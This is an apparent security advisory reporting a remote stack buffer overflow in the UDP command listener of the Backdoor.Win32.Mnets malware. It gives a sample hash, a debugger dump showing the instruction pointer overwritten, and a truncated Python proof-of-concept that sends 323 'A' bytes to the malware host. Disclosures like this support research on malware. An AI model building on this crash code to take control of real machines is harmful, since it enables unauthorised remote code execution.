Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Mnets  
Vulnerability: Remote Stack Buffer Overflow - (UDP Datagram Proto)  
Description: The backdoor listens for commands on UDP ports 2222 and 4444. Sending a mere 323 bytes we can overwrite the instruction pointer (EIP), potentially giving us program execution flow over the remote Malware.  
Type: PE32  
MD5: 1e42493dcef54a62bc28e0a1338c1142  
Vuln ID: MVID-2021-0031  
Dropped files:   
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 01/16/2021   
Memory Dump:  
EAX : 00000000  
EBX : 00000000  
ECX : 41414141  
EDX : 773E9D70 ntdll.773E9D70  
EBP : 000A1488  
ESP : 000A1468  
ESI : 00000000  
EDI : 00000000  
EIP : 41414141  
This dump file has an exception of interest stored in it.  
The stored exception information can be accessed via .ecxr.  
(1afc.f24): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000  
eip=41414141 esp=000a1468 ebp=000a1488 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
41414141 ?? ???  
from socket import *  
def doit():  
#UDP Protocol  
s=socket(AF_INET, SOCK_DGRAM)  
s.connect((MALWARE_HOST, PORT))  
PACKEE = "A"*323  
print("Backdoor.Win32.Mnets / Remote Stack Buffer Overflow");  
print("MD5: 1e42493dcef54a62bc28e0a1338c1142");  
print("By Malvuln");  
if __name__=="__main__":  
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